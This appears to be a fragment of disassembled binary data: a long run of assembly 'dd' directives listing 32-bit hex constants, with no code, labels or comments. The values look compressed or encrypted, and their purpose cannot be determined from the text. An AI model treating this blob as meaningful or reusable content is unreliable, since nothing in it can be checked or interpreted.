		dd 0E1680099h, 0EBD945C7h, 4201DA52h, 8A947D3Eh, 0DA71DB21h
		dd 3F0A82C1h, 0BBF1EFA6h, 0C72670A0h, 5E43048Ch, 37A11990h
		dd 1EF76190h, 0C44BE4AEh, 0EFEDA6h, 2FF4E067h, 8419905Eh
		dd 9C101EB7h, 94D022B0h, 0AC404528h, 125F2644h,	7FC09B95h
		dd 0BBA9420Dh, 0D4CD982Fh, 77D4A40Bh, 0E9FBBCC4h, 0EF59198Fh
		dd 773BC182h, 0E77637A8h, 26C62E6Fh, 680BC25Bh,	34D45B8h
		dd 0BAE8h, 0AEF52400h, 8A946932h, 441DC721h, 8A947B3Ch
		dd 0D86FD921h, 80E53ED0h, 511A96E5h, 0AF218995h, 9299B845h
		dd 35A770F8h, 33BFAD46h, 5F40039Ch, 725BF700h, 0D25FCBD9h
		dd 220E014Ah, 0CC5C2E4Fh, 4E8A41A9h, 26705688h,	0F8F0CF94h
		dd 0ED979474h, 72E5A632h, 99431990h, 88A63F09h,	0D484751Ch
		dd 0C9514FE8h, 35047861h, 9C75F59Ch, 0DC28933h,	0C304E03Eh
		dd 0AD717101h, 0F1EFA60Eh, 198FB024h, 0F3F18A79h, 0EAF8915Fh
		dd 58D8D120h, 0C817907Dh, 5250E9D4h, 403043CAh,	72034D6Ch
		dd 37D0BB31h, 8FACDA9Bh, 0C7903819h, 8FAC00C9h,	5FF65E19h
		dd 22B2h, 0CFBF100h, 0F5C0DC73h, 0B8513EAEh, 0D59642AAh
		dd 33218A94h, 0AACF2A94h, 31B92844h, 11E5DA9Ah,	0F51E0000h
		dd 946932AEh, 1DC7218Ah, 0AC1C3E76h, 0D05C4AE3h, 0BCC47F58h
		dd 218A93FBh, 3F58EF59h, 8B28AD41h, 715D0F29h, 0CA62CAD8h
		dd 14AD9B11h, 1EB78616h, 0DFA4FF96h, 67851EEDh,	0A89454FBh
		dd 0D5F9C2BEh, 0ED571988h, 3E339C85h, 0E27B450Bh, 2FDB58C4h
		dd 34A52C4Ch, 6F6AF8C4h, 905C19E4h, 34EDFB73h, 9B32CBB8h
		dd 0A28FFF11h, 178F1B09h, 0BA7B053Eh, 18198959h, 0AD4630B0h
		dd 39C33BFh, 0EA834C40h, 0FBD970FCh, 2189ED00h,	6D06F4E8h
		dd 9D5CF37Fh, 60C8612Bh, 0F3B4BC77h, 5111879Bh,	0F58E77E7h
		dd 0A1FE455Eh, 0B4E50F05h, 49E2AB6Fh, 8FFE54E1h, 51120456h
		dd 0D05E2ABAh, 1E8C6F40h, 0CA931B11h, 0B950E9D2h, 9E6D5F18h
		dd 0B29E4E05h, 7D4C4019h, 0B980D5EFh, 139B1CF4h, 0B735EE7Ch
		dd 1CDDE3CDh, 7A1187EBh, 0F9B35AD2h, 7F18E757h,	20250461h
		dd 0E8135B0Fh, 742FE880h, 884FAB6Ch, 6831AF11h,	0C611884Fh
		dd 9E359F1Eh, 4A497B05h, 0C22D166Eh, 0C593C825h, 6A2BB58Bh
		dd 0C8098DB0h, 0F0018820h, 0A6819548h, 3C3224D0h, 178438h
		dd 841DE500h, 9963D5h, 7811DF51h, 19A67D9h, 7A13E252h
		dd 9E2C4ADBh, 158716AFh, 9404932Ch, 0F8110A9h, 0B00B8A23h
		dd 0CD2CEDF3h, 0C18A1988h, 956532DFh, 3271218Ah, 8A93EDAEh
		dd 0EAA14B21h, 572090C2h, 266D36BEh, 93A2636Dh,	7002218Ah
		dd 0C456C865h, 0F474DC5Bh, 0FAE66D06h, 298A4996h, 0AC450E7Eh
		dd 9A64D425h, 0EF77E301h, 2AD8C926h, 50073E2h, 4715CB6h
		dd 46CDFD5Ch, 36BED97h,	0A676591Ah, 37BA7AD9h, 0A430AC63h
		dd 0AC218927h, 0D720E9E7h, 0D67E1186h, 0BBC5BE3Fh, 1186D6FAh
		dd 9F78F058h, 5BCB642Dh, 4BD7D56Eh, 2498DBC4h, 0D315BC55h
		dd 0E27B46E7h, 2D1B914Ah, 4C5CB94h, 621186D7h, 0C98253FAh
		dd 74FCE6D3h, 1186D7B3h, 883FA711h, 0E7DE6C58h,	0ECF9895Ch
		dd 0E7E5BE36h, 9CCA811Ah, 6B04CDBFh, 565EF57Dh,	642A67C4h
		dd 68F2D954h, 169019Ah,	94555B18h, 0F21186F9h, 9BD8C34Ah
		dd 0ABB95221h, 294C883Fh, 3119878Dh, 9138D1BBh,	6029A760h
		dd 0BE09853Dh, 7EC59E16h, 853D3902h, 0D02D9709h, 0BC14D1B8h
		dd 1D860DB0h, 0FE976656h, 8A99557h, 510AA23Bh, 3DD46D5Bh
		dd 1FE9E39Ch, 55FC6886h, 0B3BDA793h, 98499F2h, 9780E850h
		dd 17BE5725h, 99ECB757h, 53058984h, 0F67E17E3h,	0A16A662Dh
		dd 0FF898499h, 9EE5BE55h, 2AD5632Eh, 0AE252838h, 0DE4664CCh
		dd 2AB7A937h, 0AB158E6Bh, 0D32EAEF8h, 0C5A5B9ACh, 15F5h
		dd 46D56E56h, 0C453ECD6h, 4ECD6654h, 0B958F1DEh, 30DF7847h
		dd 443397A1h, 0D3BC2CABh, 5E299B3Ah, 0DAA616C5h, 3A399241h
		dd 88CC7536h, 4848D319h, 690AF7F5h, 7E6C049Dh, 0C3555FF6h
		dd 65CD6653h, 0F7C5B77Ch, 0C529B75Eh, 0AD298B27h, 0A6801242h
		dd 0DE343FCCh, 554EAB08h, 6BB27B51h, 0A8246174h, 0AF688940h
		dd 88B76831h, 961EC619h, 4DE6CFCDh, 66FFCB5Fh, 175C47CEh
		dd 963DD6A5h, 0C96A56h,	79F17967h, 0FD9E6ADAh, 0F86C7A13h
		dd 75FD750Eh, 0AE4730ACh, 0CD9D34C0h, 0D28BF325h, 0B7460F91h
		dd 0EBA41988h, 88B724E5h, 52DA8219h, 0B84FE8D2h, 0FD3BA4DFh
		dd 0C39FA977h, 9B1BB950h, 9B2189B6h, 0DAC55321h, 5319D839h
		dd 0D819B038h, 0CBD8A11Fh, 8E361186h, 713F3D26h, 0C262CAD8h
		dd 0E8B35AF3h, 0DD7A08F4h, 282F4B9Eh, 543B248Ch, 184F8105h
		dd 3BD4A358h, 0A62DC52Dh, 0B9B77C37h, 11869AF0h, 0AAB8513Dh
		dd 8209B342h, 99089662h, 6C0EA34Bh, 7A5755DDh, 8C9A3302h
		dd 0D3F6920h, 2D3BD4A1h, 2F742DC5h, 0EE58DED0h,	6CFC5589h
		dd 921A08A1h, 0FE92DDFBh, 229A1987h, 0E617BE57h, 72E7C889h
		dd 0B92941E4h, 0AB3735CEh, 97195A43h, 985A1CEh,	920DC42Ch
		dd 59F2DBD1h, 0A1370080h, 2B950985h, 0D77844A4h, 2DB53ECh
		dd 551FC08Ah, 0AE46AEBCh, 0A12AEBF5h, 0E0880985h, 10EFA829h
		dd 63B54897h, 353B247Eh, 9866D74h, 1E36AD2h, 7E31A735h
		dd 0C01EF7CDh, 917D6F28h, 381151F8h, 95B475FBh,	0AA120985h
		dd 0A9B7503Ah, 894E8A41h, 95098595h, 0B47F542Ah, 0CA816D08h
		dd 0F97730E2h, 985E330h, 6767F18Eh, 0FDD4EE23h,	0A824FD75h
		dd 158E45DEh, 0E392714Eh, 5FD3B2F8h, 73142CA8h,	0F8F41186h
		dd 39C6A0Bh, 5EF57DE5h,	0D5EF409Fh, 0A38AF4BDh,	8F11520Bh
		dd 1844BC6h, 8A15BC24h,	0FEE8D3C9h, 844BB982h, 45AD1701h
		dd 0D1725E8Eh, 0D65E4CE5h, 151A855Eh, 0EB66D3FBh, 0D15AB0F0h
		dd 0CA779F64h, 3FD66F5Ah, 19E7E59Eh, 2B17C980h,	8C24BD8Ah
		dd 471090D3h, 0A50183D8h, 0FDD6943Bh, 0E1CB57Fh, 93C5EFA6h
		dd 0A2C05923h, 0AAE9B23Ah, 83D86526h, 8919C301h, 356E25BEh
		dd 0EAAB356Eh, 480183D8h, 0D888514Fh, 7EE60183h, 0F5815FF6h
		dd 0FD09846Bh, 220FB07Fh, 970F9B89h, 97301989h,	2892189h
		dd 0D39049F3h, 821C0CCDh, 4B026AF9h, 7F4E3E1Bh,	4E5CF5DEh
		dd 0D4604EE6h, 1CC4850Bh, 0BA22F982h, 7779913h,	1A82A039h
		dd 0E5D3C992h, 3FD65E4Ch, 7B641F64h, 6E6A0FBCh,	0C2830FFCh
		dd 20F9824Fh, 0C028C1B0h, 61F9CB09h, 0DFDDFE68h, 75488513h
		dd 0DE279FEAh, 45CC5856h, 750217B4h, 9607C3DCh,	4674B1Eh
		dd 1A143CD6h, 13081Ah, 8A16900h, 942D1789h, 0CA59305h
		dd 952E1B8Dh, 0EA79606h, 0EAD8FE8Fh, 61D3821Bh,	0E050FF98h
		dd 6BDD7C15h, 0FC57069Fh, 0C9B079F7h, 450E1988h, 68523E5Bh
		dd 8A949F68h, 0DB53FD21h, 763F4102h, 0D4218A94h, 94D4951Bh
		dd 8A32218Ah, 20B98222h, 73F39A02h, 0C25B2696h,	4F9138A4h
		dd 48DCCA63h, 4231F17Fh, 9954659h, 0CAC683A1h, 218A3001h
		dd 8775F55Fh, 0CE0300EEh, 0AF685FD1h, 5B654F3Dh, 218A309Ah
		dd 31D850F8h, 0F548B34h, 8A30C891h, 0C9B62621h,	42AA3230h
		dd 836D598Bh, 8A303CFDh, 0BA329A21h, 5D1EA2E1h,	0BB218A30h
		dd 83A13A09h, 0D9F88F17h, 0B7EC0AF6h, 0C2B02C04h, 0C67A229h
		dd 0A9000000h, 0A37CEh,	0EAD7D500h, 0F5DEBA51h,	41A440Ah
		dd 5FFF242Ah, 86EEFC95h, 7BE7C4CFh, 0EDEFB8B8h,	0A34D2189h
		dd 8F9D3603h, 12446C23h, 513ADBA6h, 0AA3230B8h,	0ED26EFF1h
		dd 0DC842189h, 0D4C88B54h, 17C54CE5h, 266FD9F9h, 791AE7E5h
		dd 81E9F790h, 299362E9h, 88554494h, 0B735EA86h,	119B32CBh
		dd 0A5DA2FFh, 72FD49Bh,	0FF7DB69Fh, 228A9831h, 0C6236D6Bh
		dd 0B5274B69h, 0D4BE2EC7h, 0AA65943Bh, 89B26526h, 2211C33Eh
		dd 0D0892189h, 22C96CEFh, 41E1E70Ch, 3333DA73h,	0FF986656h
		dd 42AE6048h, 8A53DB74h, 413F2912h, 3E8A4678h, 0E8066ED6h
		dd 5C1DA37Ch, 0BA3E8A46h, 63207B12h, 1A12A069h,	79ADBE0Fh
		dd 0EA7270F8h, 94787563h, 1F644374h, 5A48E1ADh,	408546D2h
		dd 79E3368Ch, 0C4B123D2h, 0E2DAC32Bh, 66E7C15h,	0B00F544Fh
		dd 0C8C96843h, 0B22EE73Fh, 368BECE9h, 0F6F69D47h, 0D7A0200Ah
		dd 35368BECh, 553A238Bh, 0FBC5537Ah, 231AD562h,	7C37A62Dh
		dd 909E3700h, 8F7B6D24h, 9E8C25EEh, 0F1CB9E16h,	9AF7D277h
		dd 1117A084h, 90780000h, 1EE858F7h, 9866D685h, 13E050FFh
		dd 9A69DB7Ah, 0B5C35201h
		dd 0E8D2615h, 7D1CB59Eh, 28A7400Bh, 0A433CCB8h,	7F48484Bh
		dd 0DD1988C7h, 0F7F54E52h, 0EB77750Eh, 0CEB88464h, 8A9409D2h
		dd 80FD6721h, 9FF2DF3Ah, 1D066E95h, 4433D49Fh, 0BD35BDABh
		dd 0F5C45816h, 8A02BD5Ch, 9D0523BCh, 0F4FBBCC4h, 0EF592189h
		dd 5ABE5058h, 84B11E81h, 39C65F2Ch, 0DC4E1CBh, 0F0DBD192h
		dd 41E14957h, 0A533DA73h, 298A756Fh, 0CF98185Bh, 2D198825h
		dd 7BED0CC3h, 0A770F891h, 154CA748h, 370FF57h, 0F87AB3BCh
		dd 356E251Ah, 883DCBB7h, 0C8AA1A53h, 0EAE2BB33h, 0F8917D1Eh
		dd 0FCEA82EAh, 6A03F070h, 0FA39F2E3h, 87A0B576h, 39A91319h
		dd 2DB5B34Ch, 0D97A46A6h, 0CE5654EDh, 0BAB67D66h, 19879FF1h
		dd 80EEA54Fh, 0DA373CA3h, 7F40F06Dh, 0F99018B1h, 7B449DAFh
		dd 0B1993988h, 27A57EF6h, 0AD6E725Ch, 0B198839h, 47DBC961h
		dd 0C34AE27Bh, 0CC50D8D8h, 6F502188h, 410D166Eh, 0C532BAA8h
		dd 0A52CDB7Bh, 54159B54h, 0B41185E2h, 4CFDAD97h, 0F6CCBE3h
		dd 0A29B2DB3h, 39B13985h, 0ED297F60h, 0AE457905h, 0D8B77C27h
		dd 98608CFCh, 0A242C92Fh, 0B34C35D6h, 6C742DB5h, 118654ABh
		dd 48C75F09h, 952E1D8Fh, 64840B97h, 6EA40A98h, 617E88A4h
		dd 0D45CF5C1h, 602DA40Bh, 0F0A1C3C7h, 52E0A927h, 963E1186h
		dd 3AB26FFFh, 0CB1DB44Dh, 0CD8E12FCh, 2B118652h, 467629C1h
		dd 1D1CD805h, 0F7B2101h, 0F4DC0000h, 824CBC5Bh,	0CFA6AE9h
		dd 8774E473h, 0EFD6FEEh, 4157E675h, 7A19B281h, 29A8410Ah
		dd 0A433CCB7h, 20AF4834h, 3C4CCC7h, 611988C5h, 5406BAD6h
		dd 0E9811AE4h, 69E6CF30h, 7FEEA1E8h, 8A883801h,	0C62E9621h
		dd 8BF5826h, 1B89118Fh,	0CA89298Bh, 88CB05C6h, 52F96319h
		dd 7F4E8A3h, 68F4806Eh,	1988CB9Fh, 0E47D4BFDh, 57F0DC4Ch
		dd 0AC9606CFh, 68D1513h, 19E6D69Dh, 0B252948Bh,	53DB33B2h
		dd 0A646CD55h, 0B24B39DAh, 0BEAC4532h, 0FAE5BE36h, 0E9DD2B4Bh
		dd 1C0479DEh, 0E9DDEC16h, 500BCA81h, 0C05266Fh,	88E5C384h
		dd 3AB72119h, 0F1987005h, 0B16A03EFh, 0AD2DEEF2h, 0E18B1988h
		dd 6D5F3C2Ah, 2C840BA4h, 0AA6B752Ah, 81988ADh, 58F1C060h
		dd 914AE24Ah, 66BDAA2Eh, 9B32BA43h, 7D494300h, 39AF2DE4h
		dd 451E6F74h, 43F3125Ah, 64D0DE77h, 0E81476D7h,	0C3B440C8h
		dd 0A72EC619h, 7637F956h, 442A27E3h, 0A941DAA4h, 0CF7ED0F6h
		dd 0A78BA31Ch, 0E65h, 0B665FEC6h, 34E37C46h, 0BE5DF6C4h
		dd 69E8814Eh, 0E06F08F7h, 0B4834751h, 430C7C1Bh, 0CEB92BAAh
		dd 4A36A635h, 0CAC922B1h, 88C405C6h, 0B8D86319h, 6932AEF5h
		dd 0C7218A94h, 8A76761Dh, 945720A0h, 0BB5218Ah,	0F6C2BAA3h
		dd 0DBB8B65Dh, 944F1898h, 43AD218Ah, 0E2705C8Ch, 0A00A7C6Eh
		dd 27209DCDh, 1BD7C59Dh, 0D7F58D0h, 31B9A740h, 6D58CC9Ah
		dd 7B46D6D4h, 6250C4E2h, 0BAE702C9h, 8849F76h, 1D85A33Ch
		dd 826BF8Dh, 4F78F59Ch,	9A331C90h, 7769208Ch, 7073FD8Bh
		dd 0CAAE31AFh, 0DD4563FCh, 8804DD55h, 960624BDh, 89110FA8h
		dd 0B06B6A21h, 0E483EA4Fh, 0A1285A41h, 0B75A22CEh, 1C8204h
		dd 2BA10000h, 8F0DC45Dh, 0B1EC0AF5h, 1719425Ch,	5860070h
		dd 95070000h, 881412ABh, 523E9301h, 0B5EEABB9h,	8A946A2Bh
		dd 6920C821h, 0F0A90D3Fh, 0A8C9A60Fh, 0B16AC287h, 89F4662Fh
		dd 751CC421h, 7886692Ah, 0DAADC8C2h, 78F4D04h, 7298B00h
		dd 1311AA95h, 47F10087h, 0ACBD58Eh, 681988AEh, 0CF884900h
		dd 856D07F0h, 0E89F4E88h, 0AA220CF8h, 0D59642DBh, 33198989h
		dd 0FB382189h, 8989B475h, 3AAA1219h, 42AAB851h,	7847DB8Bh
		dd 0DC54EDD7h, 7F4C4003h, 89713AE6h, 25CF1989h,	4BB46F6Eh
		dd 505B8F6Bh, 17AE0B93h, 0A543F9D6h, 0E96B45CCh, 59EBAC34h
		dd 9F491989h, 725E4E07h, 2A6932D9h, 599E6769h, 54FC1989h
		dd 0ECB81FBDh, 0C4B82189h, 0D84462FBh, 0C823C031h, 0EB432ECFh
		dd 32712AC2h, 0DEA66F71h, 9F31187h, 8BEA7270h, 0AA54DAECh
		dd 1199E064h, 19ABDBA4h, 7F16BFB9h, 4F08A16Dh, 30D7705Dh
		dd 0AF6E6A1h, 3E0ADA71h, 0C7C9B39Dh, 118882FEh,	0F47CF45Ch
		dd 9F68682Bh, 0FD118883h, 476AE653h, 0ED36E816h, 84B0866h
		dd 883EBF88h, 0FCBDC311h, 5A11883Dh, 32D983F2h,	0D7D9C3B2h
		dd 11883E0Eh, 0F1779F6Eh, 0BC3B8844h, 0DA69414h, 0F2C0BCA5h
		dd 0D7B4B259h, 0C87F18E5h, 11CA2EE0h, 7E15AE9Bh, 9B255E25h
		dd 11887ADAh, 0DBF99038h, 166E7B35h, 526E319Bh,	1124CFE0h
		dd 0C231D1Dh, 0BC840000h, 3A047423h, 0B482F2A1h, 3F0C7C1Bh
		dd 0B685F7A6h, 0C9EF7E1Dh, 0E2710AF9h, 61F08972h, 0EC6B04EFh
		dd 58F7907Ch, 0BB7C04FFh, 191988C2h, 0AF5128Eh,	0C2E26466h
		dd 0DE4EAB2Ch, 0B902F23Eh, 9864840Bh, 0F9710AF7h, 83EFBF20h
		dd 0F012B3BFh, 5C500959h, 4CE5D172h, 0B75ED65Eh, 0B2B04935h
		dd 0ACBA5322h, 0B5B34C38h, 52B94CBh, 0AB97150Eh, 1881412h
		dd 28A43B64h, 0DE0EC55Eh, 0F62C64F2h, 93142948h, 0F380F54Bh
		dd 0C860DAABh, 0EAF9D0Fh, 32BAA841h, 9C213BAh, 6A85464Ah
		dd 79E3218Ah, 0A6F1A1D2h, 0DCC304B7h, 9A09295Bh, 7B3C443Ch
		dd 0D9218A30h, 0B550F76Fh, 20h,	2C16E2DAh, 8A30E3A4h, 0F974121h
		dd 8007A08Fh, 9C0AF514h, 0F701ACC6h, 851F51F8h,	63000002h
		dd 6D0EF7F5h, 0EBA20AA3h, 9D6C0DF9h, 0F67EE604h, 0D3C32133h
		dd 0D0D44A0Ch, 0B2Dh, 0AE2DC68Eh, 1CBB543Eh, 9645DEACh
		dd 11C05926h, 9837D09Fh, 0ECDBEF09h, 6B54C453h,	0E6D143D2h
		dd 725ECE4Dh, 22E13AD9h, 88C1DD9Eh, 30703B19h, 0EBF5AEF5h
		dd 218A942Ah, 7334E088h, 0D1218A94h, 3400E067h,	1210A993h
		dd 952E1A8Ah, 7948441Dh, 0A93929E0h, 185B44DDh,	8A94CF98h
		dd 0CC32D21h, 6801CE5Eh, 8021EA7Ah, 0A20A18B1h,	432E1C0Ah
		dd 0B8E3AA86h, 9434F57Bh, 3838218Ah, 218A946Fh,	2C9423CDh
		dd 0DFC8A5h, 947C3D43h,	21DA218Ah, 8A94D69Fh, 248C3421h
		dd 0EE8F7B6Dh, 3A238B24h, 0ED366555h, 35DCEB9Bh, 1804EBA4h
		dd 0A74009D9h, 50201C4Ah, 89E98750h, 0F37BE521h, 276F1B5Ch
		dd 534904B7h, 0BE6DD866h, 87DDFCEFh, 0F299011Fh, 4117h
		dd 0B180FC00h, 0F5237118h, 946932AEh, 1DC7218Ah, 17E0676h
		dd 8F0D0000h, 961E0CA5h, 0FB922B16h, 0AD0AF59Dh, 0A349BF7h
		dd 0B34C37A7h, 1625C1Ch, 29A30000h, 0AC6D735Dh,	0A218A50h
		dd 50DCCA62h, 5406DBB9h, 707E17E4h, 39B36C04h, 0FB44B14Ah
		dd 0FF8CB933h, 10534C03h, 7219B29Ch, 8A76E666h,	9F6E629h
		dd 0B018D970h, 169AD9B2h, 19882455h, 2A8209B3h,	32CBB828h
		dd 5740A834h, 0E2009965h, 8BC8D37Ah, 5F199524h,	188DDDBh
		dd 6E7CC1D3h, 5B27A51Eh, 9138A4C2h, 886B0360h, 2AEA91CBh
		dd 81F7DFC2h, 72EC1CD0h, 9AC72h, 0AC450D00h, 38D1BB2Dh
		dd 0C0592799h, 39D29F11h, 0C25B2A9Ah, 56748213h, 0DD4FCE67h
		dd 4CBC5BF4h, 0F769E881h, 88E3720Bh, 0BF44058Bh, 19A21988h
		dd 0BF7F577h, 61E87472h, 7861C547h, 0EAA13A04h,	2FB1F2B1h
		dd 218A9466h, 3D431CC4h, 218A947Ch, 0FDDB72DAh,	2670DB09h
		dd 13AC994Bh, 311D8D15h, 55471098h, 8709D26Bh, 199044BEh
		dd 821DB41Ch, 64FDCBC1h, 0AC4D3BADh, 6D2644DDh,	9044A263h
		dd 0D0580019h, 8EFEB958h, 716F26BFh, 199044A3h,	0DF8F4AFh
		dd 72EE7674h, 199044A9h, 36B65D07h, 44DDA94Ah, 0A73FD8A4h
		dd 0BD3011EEh
		dd 0A23C461Ah, 800C2BECh, 9A31B9D3h, 420C803Bh,	0F4C222A9h
		dd 0E0CE6753h, 0FCEA834Ch, 0A770F870h, 1323E4ECh, 0D7811990h
		dd 0C2E07947h, 0AFB3B35Ah, 8CDh, 64FDC6B6h, 6937DE46h
		dd 4C2E0AF5h, 6481791Ah, 0E55103ADh, 2DF67E17h,	3A28C1AFh
		dd 8D2515BDh, 0E44C82EBh, 0EE6E722Dh, 48298A7Bh, 2988514Fh
		dd 0E6D51988h, 64D35F4Dh, 31AB74FCh, 34C0AE47h,	4F14CD9Dh
		dd 5BE33170h, 4DC9C992h, 1988108Ch, 0E1CB82EAh,	0B10EC72Fh
		dd 0F2A3D167h, 0A020F972h, 198827D7h, 9B048B35h, 7F18E4D8h
		dd 29FA0CC8h, 0EEDE1E6Eh, 0F9B8922h, 27E7978h, 118E2339h
		dd 624BD86h, 3DB51F9Eh,	0D0348C6Ah, 3E7771Ch, 839h, 7A19B29Ah
		dd 28A7400Ah, 0A231CAB8h, 2DAC4532h, 0A433CCBBh, 0F0BF0315h
		dd 7F48B857h, 0FAC537E6h, 7642B261h, 1EE53EDDh,	88BED9A2h
		dd 246C3719h, 7009F7F5h, 4963EA72h, 0D26B57C7h,	0DD7640D4h
		dd 63CB63CFh, 9D36027Ah, 336C238Fh, 0F9927C70h,	14DF7FEBh
		dd 7408D47Bh, 7C298B28h, 908F4613h, 40C7D17Ah, 9831FFB1h
		dd 8A684710h, 0F21F2C4h, 0F93A65ECh, 59CF2B96h,	89578E57h
		dd 0F784EC19h, 0C249AECAh, 48C85622h, 21B974BFh, 8DFFD850h
		dd 6F6E25BEh, 0B24B38B4h, 3FA128B4h, 4AE3D273h,	7F58D05Ch
		dd 0F0B1DBC4h, 48653FB5h, 89430BCCh, 48FF6919h,	7E4B411Ah
		dd 0B45BC7E5h, 0CD015AFCh, 85165D34h, 0B3F0A941h, 1BB24B39h
		dd 89A9C2BDh, 0E7E9AA21h, 1187591Eh, 6554D47Ch,	0BBB445CCh
		dd 8758F4B5h, 82EA5211h, 0BC552399h, 0E6C98A15h, 2C46953Ah
		dd 0E20289CCh, 6EDE7D16h, 5C5009A2h, 4CD8D66Fh,	0F0ECA5C5h
		dd 0F37F6D06h, 56C2545Ch, 7E57CF68h, 20A7400Eh,	5FBFF977h
		dd 29A3166Dh, 38A4C25Bh, 29A76091h, 98D4960h, 0CB9E16BEh
		dd 24D10E37h, 0FE6A4AE4h, 5F000006h, 0ED5FFE97h, 990B8A23h
		dd 118312ABh, 9C0C8B24h, 0F48514ADh, 7811E0E2h,	59E67D9h
		dd 821BE656h, 0FC9561D3h, 7F01025Dh, 1988BDB6h,	0F5058B14h
		dd 9C240EF7h, 218A94DBh, 87178F39h, 7B6D24BDh, 8922EE8Fh
		dd 0D460321h, 8A94C283h, 11B82021h, 0CB4AE3CFh,	8C4D5310h
		dd 0D9218A94h, 7AE251EAh, 0DA37D9D3h, 0E26DE0FBh, 2915955Bh
		dd 0A20A9290h, 61FAC3B9h, 71EFF1AAh, 5D267019h,	15D19A16h
		dd 0C52F1990h, 9C85EF0Eh, 0AFBD5620h, 5DE8C43h,	0DD4EAF9Ah
		dd 902F12D3h, 6BC87019h, 6E25FD56h, 8FB4A572h, 730CFA19h
		dd 8019E575h, 4BDAC62h,	0BE2E712Ch, 0D8953CD5h,	0EFCF0EFh
		dd 0ED9DDE75h, 35034D6Ch, 7Eh, 0FC95625Ah, 0AF54755h, 2B87290h
		dd 0B0F88F9Ch, 0AD46329Eh, 96605C45h, 64D56FDh,	7A11AA96h
		dd 6FD58C5Eh, 8E7C7026h, 359F5EF5h, 0EB84706Ch,	90DE75FDh
		dd 8F934310h, 16AF9819h, 1DB68418h, 0EDDA550Fh,	5C175843h
		dd 8F939354h, 0C047F119h, 0E9E3FCA5h, 0A9CA811Ah, 34C89F9h
		dd 2FF878BBh, 8D198F87h, 0F3E12CE3h, 0BE000001h, 873AFB85h
		dd 423E198Fh, 198F8779h, 660E6DD7h, 0F7F5F1AFh,	0E874720Bh
		dd 12B37F61h, 169E8C25h, 0D9D3909Eh, 0CC5856EFh, 32D9725Ch
		dd 5C35C3B2h, 877E3679h, 8DC68F17h, 89CD4203h, 85ADA221h
		dd 0D7EDE44Bh, 959F058h, 3F0CAD99h, 941C88A6h, 0AC3A0696h
		dd 0B9D35331h, 411A9298h, 90BD7E02h, 0B11B218Ah, 8C00BB1Ah
		dd 6F6D24BDh, 218A8BF4h, 501997DCh, 0AE218A8Bh,	715D8F46h
		dd 45EF31E3h, 55D5A4D2h, 7E57CF68h, 4AA7400Eh, 0C5C62502h
		dd 7859F01Dh, 0C1BF84BFh, 218A11F8h, 0A972EE56h, 7218A12h
		dd 6B04CD5Dh, 0AA3804E4h, 0D45F72A9h, 9178F61h,	0D46D5C50h
		dd 75E1733Dh, 821BE889h, 7270F864h, 6D7B14E2h, 1C056D05h
		dd 19A6557h, 1DE777E3h,	57FE6684h, 6FEF9789h, 924BF526h
		dd 6764EED1h, 42A8B72Ch, 9034D596h, 2893319h, 555B18D3h
		dd 19903494h, 0EEDA4AF2h, 64F6BE55h, 0EEBC23FCh, 0DEA2B61Ah
		dd 435CF3h, 0B77C3D43h,	72DA198Fh, 0F6F7FDDBh, 0FE5D1E7Ch
		dd 2F7A2BB6h, 9D86EEF8h, 58DB4032h, 0C64DFC04h,	96DD96DDh
		dd 925C511Ah, 9945AF11h, 11925CD0h, 0DD0FC62Eh,	4B060EEh
		dd 822D17BCh, 354E1799h, 44AC1192h, 150CF3ACh, 78D92FFAh
		dd 5E0ED7D9h, 46C1192h,	7A13FC6Ch, 8849006Ch, 5AF3DDCFh
		dd 0A14231B3h, 0EEB139D2h, 1CCBF904h, 4A6B4FDFh, 0AB000004h
		dd 59CB4AE3h, 0D547D66Fh, 5DCF4EE7h, 0C838D770h, 20B160F9h
		dd 2CC5B416h, 0B9523BADh, 46DFAA1Ah, 0C0592597h, 0B3BDB611h
		dd 1988B9F2h, 0F5C9C750h, 0D97009F7h, 0B69F3807h, 9432F37Dh
		dd 792218Ah, 0ED74D18Ah, 8D7CEC4Bh, 4D57CF4h, 7232644Bh
		dd 32207B42h, 0B46BFEC5h, 47CEF6BBh, 9140D9A5h,	52139DD6h
		dd 0B02189ADh, 0D043AB08h, 6B4940C3h, 5406B8E4h, 707E17E4h
		dd 0F0B36C04h, 8A9427F0h, 34DB8521h, 0C5B4286Bh, 5D37A52Ch
		dd 412670A1h, 0C7E57E4Bh, 4A45B45Bh, 0DCCA6352h, 5F03C450h
		dd 0F7611990h, 0E3EDA66Fh, 19905F22h, 3131D880h, 0FD966458h
		dd 5FBD8A56h, 27121990h, 0C8B31299h, 0BD354D7Ch, 644E3BAFh
		dd 8FC49B5Ch, 0D74FF919h, 0C801F0C9h, 0B1F2AD68h, 0B7B54E3Bh
		dd 0C4E6AF2Bh, 9C44198Fh, 904F78F5h, 4ABBC42Fh,	6D24B699h
		dd 4D321E0Ah, 6CB71803h, 0BB493272h, 9C808D44h,	9F000001h
		dd 0CD54DF40h, 0D37AC03Dh, 0C4523EC5h, 0F3634251h, 0E0A92768h
		dd 3E218A5Fh, 98961E96h, 5CF5C1BBh, 0A34433B5h,	0C62E3CD5h
		dd 658A752Eh, 8002E37Eh, 76FE9761h, 940F8FDFh, 7C2189F4h
		dd 8A983100h, 96942D1Ah, 0FDEFA60Eh, 0D5C82711h, 0CCFDE751h
		dd 5A21EA76h, 0D57F218Ah, 0CE1B845Dh, 27BA181Bh, 0A6617017h
		dd 0EF9DCB49h, 953CD947h, 15CE6753h, 2180E7AAh,	3CD3D30Ch
		dd 868A752Eh, 8B79C286h, 1139D34h, 0E01CAA95h, 0D730476h
		dd 5B653EB6h, 2189A59Ah, 0FFD850F8h, 20DDCCA0h,	0D37A9067h
		dd 26118BC8h, 99321D8Dh, 33FCE6F2h, 9F002670h, 0D4253AC9h
		dd 7D7C138Ah, 0CD65FECBh, 2917954Eh, 9DAFF990h,	0BEAC4531h
		dd 32CBB636h, 5740A834h, 0F0FE9765h, 91D2CD84h,	58F1DAD2h
		dd 7536E24Ah, 0D3198FC2h, 53F6E269h, 5B1E7CD5h,	0ECFA9361h
		dd 0B828C980h, 0E2BB33CCh, 7BADA7FDh, 0F39AA681h, 0C304EBA8h
		dd 0D4FF716Eh, 2817C980h, 2E19BA87h, 0A30B9795h, 0CC951D85h
		dd 0FF54E2D0h, 0E1D355DEh, 86EEFC74h, 57550ECFh, 49D1CF68h
		dd 0B25322C2h, 18B3AC8h, 0A798301Dh, 18F4A73Fh,	0CB1CCC5Ah
		dd 1FF4F53h, 98600000h,	16E050FFh, 0A06EDE7Dh, 2B188807h
		dd 0A2910392h, 0DDFB8A09h, 0D6851EEDh, 55049D66h, 0D07F18E3h
